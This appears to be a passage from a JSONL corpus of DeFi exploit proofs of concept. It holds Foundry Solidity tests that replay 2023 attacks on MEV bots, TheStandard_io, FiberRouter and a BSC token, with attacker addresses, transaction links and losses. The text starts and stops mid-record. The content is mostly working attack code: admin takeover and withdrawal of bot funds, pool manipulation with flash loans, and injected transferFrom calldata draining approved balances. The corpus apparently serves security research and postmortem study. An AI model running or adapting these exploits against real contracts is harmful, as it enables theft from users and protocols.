0x5f507AdcE6F67a78eDF873065953a368F5C6Fa31;\n victims[20] = 0xd9047C11a85D9176B2370388D81a3DBd4F99Ad96;\n victims[21] = 0xF985cd900ec163B544623303D6383eB5C4B24712;\n victims[22] = 0x26Cae30b00f4af20894A0827f5FcAAE752B38217;\n victims[23] = 0xf5E303702b5927670998D6EC63449Cb2EDF65728;\n\n emit log_named_decimal_uint(\"Attacker WETH balance before exploit\", WETH.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\n \"Attacker BUMP balance before exploit\", BUMP.balanceOf(address(this)), BUMP.decimals()\n );\n emit log_named_decimal_uint(\"Attacker ETH balance before exploit\", address(this).balance, 18);\n\n for (uint8 i; i < tokens.length; ++i) {\n exploitMevBot(tokens[i], victims[i]);\n }\n\n emit log_named_decimal_uint(\"Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\n \"Attacker BUMP balance after exploit\", BUMP.balanceOf(address(this)), BUMP.decimals()\n );\n emit log_named_decimal_uint(\"Attacker ETH balance after exploit\", address(this).balance, 18);\n }\n\n function exploitMevBot(address token, address victim) internal {\n removeAdmin(token, victim);\n withdrawToken(token, victim);\n if (token == address(BUMP)) {\n BUMP.transfer(address(this), BUMP.balanceOf(address(this)));\n } else if (token != address(0)) {\n tokenToWETH(token);\n } else {\n return;\n }\n }\n\n function removeAdmin(address token, address victim) internal {\n address[] memory recipients = new address[](1);\n recipients[0] = address(this);\n address tokenAddr = token == address(0) ? address(0) : token;\n\n (bool success,) = victim.call(\n abi.encodeWithSelector(\n bytes4(0xe7d25975), address(this), address(this), tokenAddr, recipients, 4, 3, 2, 0, 0\n )\n );\n require(success, \"Call to removeAdmin() not successful\");\n }\n\n function withdrawToken(address token, address victim) internal {\n address tokenAddr = token == address(0) ? address(0) : token;\n\n (bool success,) = victim.call(abi.encodeWithSelector(bytes4(0x4abe11b4)));\n require(success);\n\n success = false;\n (success,) = victim.call(abi.encodeWithSelector(bytes4(0xd547557b)));\n require(success);\n\n success = false;\n (success,) = victim.call(abi.encodeWithSelector(bytes4(0x90fb9dca), tokenAddr, 0));\n require(success);\n }\n\n function approveAll() internal {\n RAIL.approve(address(Router), type(uint256).max);\n BBANK.approve(address(Router), type(uint256).max);\n USDT.approve(address(Router), type(uint256).max);\n BUMP.approve(address(Router), type(uint256).max);\n HOPR.approve(address(Router), type(uint256).max);\n ISP.approve(address(Router), type(uint256).max);\n FMT.approve(address(Router), type(uint256).max);\n MARSH.approve(address(Router), type(uint256).max);\n KEL.approve(address(Router), type(uint256).max);\n CELL.approve(address(Router), type(uint256).max);\n UNO.approve(address(Router), type(uint256).max);\n KINE.approve(address(Router), type(uint256).max);\n TXA.approve(address(Router), type(uint256).max);\n MoFi.approve(address(Router), type(uint256).max);\n ODDZ.approve(address(Router), type(uint256).max);\n }\n\n function tokenToWETH(\n address token\n ) internal {\n address[] memory path = new address[](2);\n path[0] = token;\n path[1] = address(WETH);\n uint256 tokenBalance;\n if (token == address(USDT)) {\n tokenBalance = IUSDT(token).balanceOf(address(this));\n } else {\n tokenBalance = IERC20(token).balanceOf(address(this));\n }\n uint256[] memory amounts = Router.getAmountsOut(tokenBalance, path);\n\n Router.swapExactTokensForTokens(tokenBalance, amounts[1], path, address(this), block.timestamp + 1000);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "MEV_0xa247", "date": "2023-11", "file_name": "MEV_0xa247_exp.sol", "attack_vector": null, "content_hash": "475340b8b438b86d", "collected_at": "2026-01-07T10:59:16.536723", "_source": "postmortems", "chain": "ethereum", "block_number": 18552866, "total_lost_raw": "~$150K", "total_lost_usd": 150000.0, "attacker_address": "https://etherscan.io/address/0x4e087743e8025012c4704a1953c87eeff1e6ef48", "attack_contract": "https://etherscan.io/address/0x3763b7f83358171b1660ee209f327954cc463129", "vulnerable_contract": null, "attack_tx": "https://explorer.phalcon.xyz/tx/eth/0x53eeab4447db331dbb47f93fd58a95d6faa230d559acde0687f8b5f5829e7a45", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~$150K", "category": "unknown", "exploit_code": "function testExploit() public {\n deal(address(this), 0 ether);\n approveAll();\n address[] memory tokens = new address[](24);\n tokens[0] = address(RAIL);\n tokens[1] = address(BBANK);\n tokens[2] = address(USDT);\n tokens[3] = address(BUMP);\n tokens[4] = address(0);\n tokens[5] = address(HOPR);\n tokens[6] = address(ISP);\n tokens[7] = address(FMT);\n tokens[8] = address(MARSH);\n tokens[9] = address(KEL);\n tokens[10] = address(CELL);\n tokens[11] = address(HOPR);\n tokens[12] = address(UNO);\n tokens[13] = address(KINE);\n tokens[14] = address(KEL);\n tokens[15] = address(TXA);\n tokens[16] = address(BUMP);\n tokens[17] = address(USDT);\n tokens[18] = address(USDT);\n tokens[19] = address(USDT);\n tokens[20] = address(USDT);\n tokens[21] = address(MoFi);\n tokens[22] = address(ODDZ);\n tokens[23] = address(USDT);\n\n address[] memory victims = new address[](24);\n victims[0] = 0xa2473460f86e1058bdd0A2C531B15534fD403d97;\n victims[1] = 0xe2637e705475F367c94467c4b844d58dB293aFF8;\n victims[2] = 0x2481590CD6dcC9870212974627b2E938133d724b;\n victims[3] = 0xC84C76b01f62733A6a385e9a70fd43bda0a4530C;\n victims[4] = 0x2FbC293D80EF7c0D12A65AC69BB9D9E12F049064;\n victims[5] = 0xcCb65510Af354285137a175e86f9618ACf5f4861;\n victims[6] = 0x346Bbb951f24d6744231b38ca9c1305f0985d12D;\n victims[7] = 0x4A3097cdaA8f93C8da1561328fdc13b64E710dCc;\n victims[8] = 0xdbBC243E97F083562a02c458D7182489b4aC85F6;\n victims[9] = 0xB4c6503bf5dca7C3cF98a06bEc59cf5857801D98;\n victims[10] = 0xA9fe587d7c87691Ba76f3A4a63a8A8f2c1dBf12a;\n victims[11] = 0xe53a9d90B66F7EdD7aAA22aaD474aBf45C55aF72;\n victims[12] = 0xb0852b6e58560176Cf803dC4D7d6AAe151B8F242;\n victims[13] = 0x0Aa6de644966648a5C31769d98Fe9F9881362eC8;\n victims[14] = 0xE380cB00D0a1a7CB7d71569B573B6D4d665aFf87;\n victims[15] = 0x800D11ae57133F6E27B4632b598caF630f0A55Dc;\n victims[16] = 0x956750265b7a33A8564510AF5B4b3589484aF403;\n victims[17] = 0x8d6114a24cC8cca883bBe77034f3e6F19bD8204C;\n victims[18] = 0x976248f02DA78E034F484984009b4b9f15AE1722;\n victims[19] = 0x5f507AdcE6F67a78eDF873065953a368F5C6Fa31;\n victims[20] = 0xd9047C11a85D9176B2370388D81a3DBd4F99Ad96;\n victims[21] = 0xF985cd900ec163B544623303D6383eB5C4B24712;\n victims[22] = 0x26Cae30b00f4af20894A0827f5FcAAE752B38217;\n victims[23] = 0xf5E303702b5927670998D6EC63449Cb2EDF65728;\n\n emit log_named_decimal_uint(\"Attacker WETH balance before exploit\", WETH.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\n \"Attacker BUMP balance before exploit\", BUMP.balanceOf(address(this)), BUMP.decimals()\n );\n emit log_named_decimal_uint(\"Attacker ETH balance before exploit\", address(this).balance, 18);\n\n for (uint8 i; i < tokens.length; ++i) {\n exploitMevBot(tokens[i], victims[i]);\n }\n\n emit log_named_decimal_uint(\"Attacker WETH balance after exploit\", WETH.balanceOf(address(this)), 18);\n emit log_named_decimal_uint(\n \"Attacker BUMP balance after exploit\", BUMP.balanceOf(address(this)), BUMP.decimals()\n );\n emit log_named_decimal_uint(\"Attacker ETH balance after exploit\", address(this).balance, 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$150K", "keyinfo_attacker": "https://etherscan.io/address/0x4e087743e8025012c4704a1953c87eeff1e6ef48", "keyinfo_attack_contract": "https://etherscan.io/address/0x3763b7f83358171b1660ee209f327954cc463129", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://explorer.phalcon.xyz/tx/eth/0x53eeab4447db331dbb47f93fd58a95d6faa230d559acde0687f8b5f5829e7a45", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$150.0K", "content_richness_score": 8, "quality_estimate": "high", "title": "MEV_0xa247 Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$290K\n// Attacker : https://arbiscan.io/address/0x09ed480feaf4cbc363481717e04e2c394ab326b4\n// Attack Contract : https://arbiscan.io/address/0xb589d4a36ef8766d44c9785131413a049d51dbc0\n// Vuln Contract : https://arbiscan.io/address/0x29046f8f9e7623a6a21cc8c3cc2a2121ae855b8d\n// Attack Tx : https://explorer.phalcon.xyz/tx/arbitrum/0x51293c1155a1d33d8fc9389721362044c3a67e0ac732b3a6ec7661d47b03df9f\n\n// @Analysis\n// https://twitter.com/Phalcon_xyz/status/1721807569222549518\n// https://twitter.com/CertiKAlert/status/1721839125836321195\n\ninterface NonfungiblePositionManager {\n struct CollectParams {\n uint256 tokenId;\n address recipient;\n uint128 amount0Max;\n uint128 amount1Max;\n }\n\n struct DecreaseLiquidityParams {\n uint256 tokenId;\n uint128 liquidity;\n uint256 amount0Min;\n uint256 amount1Min;\n uint256 deadline;\n }\n\n struct MintParams {\n address token0;\n address token1;\n uint24 fee;\n int24 tickLower;\n int24 tickUpper;\n uint256 amount0Desired;\n uint256 amount1Desired;\n uint256 amount0Min;\n uint256 amount1Min;\n address recipient;\n uint256 deadline;\n }\n}\n\ninterface IPositionsNFT is IPoolInitializer {\n function collect(\n NonfungiblePositionManager.CollectParams memory params\n ) external payable returns (uint256 amount0, uint256 amount1);\n\n function decreaseLiquidity(\n NonfungiblePositionManager.DecreaseLiquidityParams memory params\n ) external payable returns (uint256 amount0, uint256 amount1);\n\n function mint(\n NonfungiblePositionManager.MintParams memory params\n ) external payable returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1);\n}\n\ninterface ISmartVaultManagerV2 {\n function mint() external returns (address vault, uint256 tokenId);\n}\n\ninterface ISmartVaultV2 {\n function mint(address _to, uint256 _amount) external;\n\n function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external;\n}\n\ninterface ISwapRouter {\n struct ExactInputSingleParams {\n address tokenIn;\n address tokenOut;\n address recipient;\n uint256 deadline;\n uint256 amountIn;\n uint256 amountOutMinimum;\n uint160 limitSqrtPrice;\n }\n}\n\ninterface ICamelotRouter {\n function exactInputSingle(\n ISwapRouter.ExactInputSingleParams memory params\n ) external payable returns (uint256 amountOut);\n}\n\ncontract ContractTest is Test {\n IPositionsNFT private constant PositionsNFT = IPositionsNFT(0xC36442b4a4522E871399CD717aBDD847Ab11FE88);\n IERC20 private constant WBTC = IERC20(0x2f2a2543B76A4166549F7aaB2e75Bef0aefC5B0f);\n IERC20 private constant PAXG = IERC20(0xfEb4DfC8C4Cf7Ed305bb08065D08eC6ee6728429);\n IERC20 private constant EURO = IERC20(0x643b34980E635719C15a2D4ce69571a258F940E9);\n IWETH private constant WETH = IWETH(payable(0x82aF49447D8a07e3bd95BD0d56f35241523fBab1));\n IUSDC private constant USDC = IUSDC(0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8);\n Uni_Pair_V3 private constant WBTC_WETH = Uni_Pair_V3(0x2f5e87C9312fa29aed5c179E456625D79015299c);\n ISmartVaultManagerV2 private constant SmartVaultManagerV2 =\n ISmartVaultManagerV2(0xba169cceCCF7aC51dA223e04654Cf16ef41A68CC);\n ICamelotRouter private constant RouterV3 = ICamelotRouter(0x1F721E2E82F6676FCE4eA07A5958cF098D339e18);\n Uni_Router_V3 private constant Router = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);\n ISmartVaultV2 private SmartVaultV2;\n\n function setUp() public {\n vm.createSelectFork(\"arbitrum\", 147_817_765);\n vm.label(address(PositionsNFT), \"PositionsNFT\");\n vm.label(address(WBTC), \"WBTC\");\n vm.label(address(PAXG), \"PAXG\");\n vm.label(address(EURO), \"EURO\");\n vm.label(address(USDC), \"USDC\");\n }\n\n function testExploit() public {\n // Attacker sent PAXG amount to exploit contract before attack\n deal(address(PAXG), address(this), 100e9);\n\n emit log_named_decimal_uint(\"Attacker USDC balance before exploit\", USDC.balanceOf(address(this)), 6);\n\n emit log_named_decimal_uint(\"Attacker EURO balance before exploit\", EURO.balanceOf(address(this)), 18);\n\n address pool = PositionsNFT.createAndInitializePoolIfNecessary(\n address(WBTC), address(PAXG), 3000, uint160(address(0x186a0000000000000000000000000))\n );\n\n WBTC_WETH.flash(address(this), 1_000_000_010, 0, bytes(\"\"));\n\n emit log_named_decimal_uint(\"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), 6);\n\n emit log_named_decimal_uint(\"Attacker EURO balance after exploit\", EURO.balanceOf(address(this)), 18);\n }\n\n function uniswapV3FlashCallback(uint256 fee0, uint256 fee1, bytes calldata data) external {\n (address smartVault,) = SmartVaultManagerV2.mint();\n SmartVaultV2 = ISmartVaultV2(smartVault);\n\n WBTC.transfer(smartVault, WBTC.balanceOf(address(this)) - 10);\n SmartVaultV2.mint(address(this), 290_000 * 1e18);\n\n WBTC.approve(address(PositionsNFT), 10);\n PAXG.approve(address(PositionsNFT), 100e9);\n (uint256 tokenId, uint128 liquidity) = mintWBTC_PAXG();\n\n // Swap in the pool (WBTC/PAXG), which was manipulated through the sole position the attacker had opened before.\n SmartVaultV2.swap(bytes32(hex\"57425443\"), bytes32(hex\"50415847\"), 1e9);\n decreaseLiquidityInPool(tokenId, liquidity);\n collectWBTC_PAXG(tokenId);\n\n EURO.approve(address(RouterV3), 10_000 * 1e18);\n EUROToUSDC();\n USDC.approve(address(Router), type(uint256).max);\n USDCToWBTC(uint24(fee0));\n WBTC.transfer(address(WBTC_WETH), WBTC.balanceOf(address(this)));\n }\n\n function onERC721Received(\n address operator,\n address from,\n uint256 tokenId,\n bytes calldata data\n ) external returns (bytes4) {\n return this.onERC721Received.selector;\n }\n\n function mintWBTC_PAXG() internal returns (uint256 tokenId, uint128 liquidity) {\n NonfungiblePositionManager.MintParams memory params = NonfungiblePositionManager.MintParams({\n token0: address(WBTC),\n token1: address(PAXG),\n fee: 3000,\n tickLower: -887_220,\n tickUpper: 887_220,\n amount0Desired: 10,\n amount1Desired: 100e9,\n amount0Min: 0,\n amount1Min: 0,\n recipient: address(this),\n deadline: block.timestamp\n });\n\n (tokenId, liquidity,,) = PositionsNFT.mint(params);\n }\n\n function decreaseLiquidityInPool(uint256 _tokenId, uint128 _liqudity) internal {\n NonfungiblePositionManager.DecreaseLiquidityParams memory params = NonfungiblePositionManager\n .DecreaseLiquidityParams({\n tokenId: _tokenId,\n liquidity: _liqudity,\n amount0Min: 0,\n amount1Min: 0,\n deadline: block.timestamp\n });\n PositionsNFT.decreaseLiquidity(params);\n }\n\n function collectWBTC_PAXG(\n uint256 _tokenId\n ) internal {\n NonfungiblePositionManager.CollectParams memory params = NonfungiblePositionManager.CollectParams({\n tokenId: _tokenId,\n recipient: address(this),\n amount0Max: type(uint128).max,\n amount1Max: type(uint128).max\n });\n PositionsNFT.collect(params);\n }\n\n function EUROToUSDC() internal {\n ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({\n tokenIn: address(EURO),\n tokenOut: address(USDC),\n recipient: address(this),\n deadline: block.timestamp,\n amountIn: 10_000 * 1e18,\n amountOutMinimum: 0,\n limitSqrtPrice: 0\n });\n RouterV3.exactInputSingle(params);\n }\n\n function USDCToWBTC(\n uint24 _fee\n ) internal {\n Uni_Router_V3.ExactOutputSingleParams memory params = Uni_Router_V3.ExactOutputSingleParams({\n tokenIn: address(USDC),\n tokenOut: address(WBTC),\n fee: 500,\n recipient: address(this),\n deadline: block.timestamp,\n amountOut: 1_000_000_010 + _fee - WBTC.balanceOf(address(this)),\n amountInMaximum: type(uint256).max,\n sqrtPriceLimitX96: 0\n });\n\n Router.exactOutputSingle(params);\n }\n}\n", "type": "exploit_poc", "protocol": "TheStandard_io", "date": "2023-11", "file_name": "TheStandard_io_exp.sol", "attack_vector": null, "content_hash": "06a9d870ae36a45a", "collected_at": "2026-01-07T10:59:16.536808", "_source": "postmortems", "chain": "arbitrum", "block_number": 147817765, "total_lost_raw": "~$290K", "total_lost_usd": 290000.0, "attacker_address": "https://arbiscan.io/address/0x09ed480feaf4cbc363481717e04e2c394ab326b4", "attack_contract": "https://arbiscan.io/address/0xb589d4a36ef8766d44c9785131413a049d51dbc0", "vulnerable_contract": null, "attack_tx": "https://explorer.phalcon.xyz/tx/arbitrum/0x51293c1155a1d33d8fc9389721362044c3a67e0ac732b3a6ec7661d47b03df9f", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "~$290K", "category": "unknown", "exploit_code": "function testExploit() public {\n // Attacker sent PAXG amount to exploit contract before attack\n deal(address(PAXG), address(this), 100e9);\n\n emit log_named_decimal_uint(\"Attacker USDC balance before exploit\", USDC.balanceOf(address(this)), 6);\n\n emit log_named_decimal_uint(\"Attacker EURO balance before exploit\", EURO.balanceOf(address(this)), 18);\n\n address pool = PositionsNFT.createAndInitializePoolIfNecessary(\n address(WBTC), address(PAXG), 3000, uint160(address(0x186a0000000000000000000000000))\n );\n\n WBTC_WETH.flash(address(this), 1_000_000_010, 0, bytes(\"\"));\n\n emit log_named_decimal_uint(\"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), 6);\n\n emit log_named_decimal_uint(\"Attacker EURO balance after exploit\", EURO.balanceOf(address(this)), 18);\n }", "has_exploit_code": true, "keyinfo_total_lost": "~$290K", "keyinfo_attacker": "https://arbiscan.io/address/0x09ed480feaf4cbc363481717e04e2c394ab326b4", "keyinfo_attack_contract": "https://arbiscan.io/address/0xb589d4a36ef8766d44c9785131413a049d51dbc0", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://explorer.phalcon.xyz/tx/arbitrum/0x51293c1155a1d33d8fc9389721362044c3a67e0ac732b3a6ec7661d47b03df9f", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$290.0K", "content_richness_score": 8, "quality_estimate": "high", "title": "TheStandard_io Exploit (2023-11)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// TX::https://app.blocksec.com/explorer/tx/bsc/0x7260ad0e4769ae68f0a680356c63140353c18d7be1b86a8c4e99a0fc3b6842c1\n// GUY : https://x.com/MetaSec_xyz/status/1729323254610002277\n// Profit : ~59 USDC\ninterface FiberRouter {\n function swapAndCrossOneInch(\n address swapRouter,\n uint256 amountIn,\n uint256 amountCrossMin, // amountOutMin on uniswap\n uint256 crossTargetNetwork,\n address crossTargetToken,\n address crossTargetAddress,\n uint256 swapBridgeAmount,\n bytes memory _calldata,\n address fromToken,\n address foundryToken\n ) external;\n}\n\ncontract ContractTest is Test {\n IWBNB wbnb = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n IPancakeRouter constant pancakeRouter = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n FiberRouter fiberrouter = FiberRouter(0x4826e896E39DC96A8504588D21e9D44750435e2D);\n address victim = 0x4da35bf35504D77e5C5E9Db6a35B76eB4479306a;\n IERC20 usdc = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);\n address crossToken = 0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E;\n\n event log_Data(bytes data);\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 33_874_498);\n deal(address(wbnb), address(this), 1 ether);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker USDC before exploit\", usdc.balanceOf(address(this)), 18);\n attack();\n emit log_named_decimal_uint(\"[End] Attacker USDC after exploit\", usdc.balanceOf(address(this)), 18);\n }\n\n function attack() public {\n emit log_named_decimal_uint(\"[Begin] Attacker USDT before exploit\", usdc.balanceOf(address(victim)), 18);\n uint256 victim_balance = usdc.balanceOf(address(victim));\n wbnb.approve(address(pancakeRouter), 99_999 ether);\n address[] memory swapPath = new address[](2);\n swapPath[0] = address(wbnb);\n swapPath[1] = address(usdc);\n pancakeRouter.swapExactETHForTokens{value: 0.0000001 ether}(\n 1, swapPath, address(fiberrouter), block.timestamp + 20\n );\n bytes memory datas = abi.encodePacked(\n abi.encodeWithSignature(\n \"transferFrom(address,address,uint256)\", address(victim), address(this), victim_balance\n )\n );\n emit log_Data(datas);\n fiberrouter.swapAndCrossOneInch(\n address(usdc),\n 0,\n 1,\n 43_114,\n address(crossToken),\n address(crossToken),\n 0,\n datas,\n address(usdc),\n address(usdc)\n );\n }\n}\n", "type": "exploit_poc", "protocol": "FiberRouter", "date": "2023-11", "file_name": "FiberRouter_exp.sol", "attack_vector": null, "content_hash": "ecb1bb6964e50558", "collected_at": "2026-01-07T10:59:16.536880", "_source": "postmortems", "chain": "unknown", "block_number": 33874498, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function attack() public {\n emit log_named_decimal_uint(\"[Begin] Attacker USDT before exploit\", usdc.balanceOf(address(victim)), 18);\n uint256 victim_balance = usdc.balanceOf(address(victim));\n wbnb.approve(address(pancakeRouter), 99_999 ether);\n address[] memory swapPath = new address[](2);\n swapPath[0] = address(wbnb);\n swapPath[1] = address(usdc);\n pancakeRouter.swapExactETHForTokens{value: 0.0000001 ether}(\n 1, swapPath, address(fiberrouter), block.timestamp + 20\n );\n bytes memory datas = abi.encodePacked(\n abi.encodeWithSignature(\n \"transferFrom(address,address,uint256)\", address(victim), address(this), victim_balance\n )\n );\n emit log_Data(datas);\n fiberrouter.swapAndCrossOneInch(\n address(usdc),\n 0,\n 1,\n 43_114,\n address(crossToken),\n address(crossToken),\n 0,\n datas,\n address(usdc),\n address(usdc)\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.47, "quality_estimate": "low", "title": "FiberRouter Exploit (2023-11)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.20;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~31,354 USD$\n// Attacker : https://bscscan.com/tx/0xb29f18b89e56cc0151c7c17de0625a21018d8ae7\n// Attack Contract : https://bscscan.com/address/0x783fbea45b32eaaa596b44412041dd1208025e83\n// Attacker Transaction :\n// https://bscscan.com/tx/0x8163738d6610ca32f048ee9d30f4aa1ffdb3ca1eddf95c0eba086c3e936199ed\n\n// @Analysis\n// https://defimon.xyz/attack/bsc/0x8163738d6610ca32f048ee9d30f4aa1ffdb3ca1eddf95c0eba086c3e936199ed\n\n// The hacker sent multiple transactions to attack, just taking the first transaction as an example.\n\ninterface IDodo {\n function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;\n}\n\ninterface I3913 is IERC20 {\n function burnPairs() external;\n}\n\ncontract Exploit is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n I3913 vulnerable = I3913(0xd74F28c6E0E2c09881Ef2d9445F158833c174775);\n IPancakePair pair = IPancakePair(0x715762906489D5D671eA3eC285731975DA617583);\n IPancakePair pair3913to9419 = IPancakePair(0xd6d66e1993140966e6029815eDbB246800928969);\n IPancakeRouter router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));\n address dodo1 = 0x81917eb96b397dFb1C6000d28A5bc08c0f05fC1d;\n address dodo2 = 0x26d0c625e5F5D6de034495fbDe1F6e9377185618;\n address dodo3 = 0xFeAFe253802b77456B4627F8c2306a9CeBb5d681;\n address dodo4 = 0x9ad32e3054268B849b84a8dBcC7c8f7c52E4e69A;\n address dodo5 = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;\n IERC20 busd = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 token9419 = IERC20(0x86335cb69e4E28fad231dAE3E206ce90849a5477);\n uint256 dodo1FlashLoanAmount;\n uint256 dodo2FlashLoanAmount;\n uint256 dodo3FlashLoanAmount;\n uint256 dodo4FlashLoanAmount;\n uint256 dodo5FlashLoanAmount;\n\n function setUp() public {\n cheats.createSelectFork(\"bsc\", 33_132_467);\n cheats.label(address(vulnerable), \"3913\");\n cheats.label(address(pair), \"pair\");\n cheats.label(address(token9419), \"9419\");\n }\n\n function testExploit() public {\n deal(address(busd), address(this), 0);\n emit log_named_decimal_uint(\n \"attacker balance busd before attack:\", busd.balanceOf(address(this)), busd.decimals()\n );\n dodo1FlashLoanAmount = busd.balanceOf(dodo1);\n IDodo(dodo1).flashLoan(0, dodo1FlashLoanAmount, address(this), new bytes(1));\n emit log_named_decimal_uint(\n \"attacker balance busd after attack:\", busd.balanceOf(address(this)), busd.decimals()\n );\n }\n\n function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {\n if (msg.sender == dodo1) {\n dodo2FlashLoanAmount = busd.balanceOf(dodo2);\n IDodo(dodo2).flashLoan(0, dodo2FlashLoanAmount, address(this), new bytes(1));\n busd.transfer(dodo1, dodo1FlashLoanAmount);\n } else if (msg.sender == dodo2) {\n dodo3FlashLoanAmount = busd.balanceOf(dodo3);\n IDodo(dodo3).flashLoan(0, dodo3FlashLoanAmount, address(this), new bytes(1));\n busd.transfer(dodo2, dodo2FlashLoanAmount);\n } else if (msg.sender == dodo3) {\n dodo4FlashLoanAmount = busd.balanceOf(dodo4);\n IDodo(dodo4).flashLoan(0, dodo4FlashLoanAmount, address(this), new bytes(1));\n busd.transfer(dodo3, dodo3FlashLoanAmount);\n } else if (msg.sender == dodo4) {\n dodo5FlashLoanAmount = busd.balanceOf(dodo5);\n IDodo(dodo5).flashLoan(0, dodo5FlashLoanAmount, address(this), new bytes(1));\n busd.transfer(dodo4, dodo4FlashLoanAmount);\n } else if (msg.sender == dodo5) {\n //end of flash loan\n busd.approve(address(pair), type(uint256).max);\n busd.approve(address(router), type(uint256).max);\n\n address[] memory path = new address[](2);\n path[0] = address(busd);\n path[1] = address(vulnerable);\n router.swapExactTokensForTokens(10 ether, 0, path, address(this), block.timestamp + 100);\n path[1] = address(token9419);\n router.swapExactTokensForTokens(10 ether, 0, path, address(this), block.timestamp + 100);\n NewContract x = new NewContract();\n\n vulnerable.transfer(address(x), 1 ether);\n\n x.transferToken(address(vulnerable), address(this));\n path[1] = address(vulnerable);\n router.swapExactTokensForTokens(\n 358_631_959_260_537_946_706_184, 0, path, address(this), block.timestamp + 100\n );\n busd.transfer(address(pair), 1);\n assertEq(vulnerable.balanceOf(address(this)), 650_501_978_825_924_088_488_444_996_953);\n vulnerable.transfer(address(pair), vulnerable.balanceOf(address(this)));\n pair.skim(address(x));\n\n uint8 i = 0;\n while (i < 10) {\n x.transferToken(address(vulnerable), address(this));\n if (vulnerable.balanceOf(address(0x570C19331c1B155C21ccD6C2D8e264785cc6F015)) != 1e15) {\n busd.transfer(address(pair), 1);\n vulnerable.transfer(address(pair), vulnerable.balanceOf(address(this)));\n pair.skim(address(x));\n } else {\n vulnerable.burnPairs();\n }\n i++;\n }\n assertEq(vulnerable.balanceOf(address(this)), 873_285_322_509_556_749_289_919_955_755);\n path[0] = address(vulnerable);\n path[1] = address(busd);\n uint256[] memory amountOut = router.getAmountsOut(vulnerable.balanceOf(address(this)) * 98 / 100, path);\n assertEq(amountOut[0], 855_819_616_059_365_614_304_121_556_639);\n\n busd.transfer(address(pair), 1);\n vulnerable.transfer(address(pair), amountOut[0]);\n\n assertEq(amountOut[1] * 99 / 100, 386_867_521_275_785_735_087_292);\n (uint112 res0, uint112 res1,) = pair.getReserves();\n assertEq(res0, 585_082_814_956_957_699_188_861);\n assertEq(res1, 424_480_476_638_586_992_222_101_033_564);\n assert(amountOut[1] * 99 / 100 < res0);\n assertEq(pair.token0(), address(busd));\n pair.swap(amountOut[1] * 99 / 100, 0, address(this), new bytes(0));\n path[0] = address(vulnerable);\n path[1] = address(token9419);\n amountOut = router.getAmountsOut(vulnerable.balanceOf(address(this)), path);\n token9419.transfer(address(pair3913to9419), 1);\n vulnerable.transfer(address(pair3913to9419), vulnerable.balanceOf(address(this)));\n (res0, res1,) = pair3913to9419.getReserves();\n assert(res0 > amountOut[1] * 99 / 100);\n assertEq(pair3913to9419.token0(), address(token9419));\n assertEq(amountOut[1] * 99 / 100, 278_798_044_220_113_865_039_589_361_218);\n\n pair3913to9419.swap(amountOut[1] * 99 / 100, 0, address(this), new bytes(0));\n //\n path[0] = address(token9419);\n path[1] = address(busd);\n token9419.approve(address(router), type(uint256).max);\n 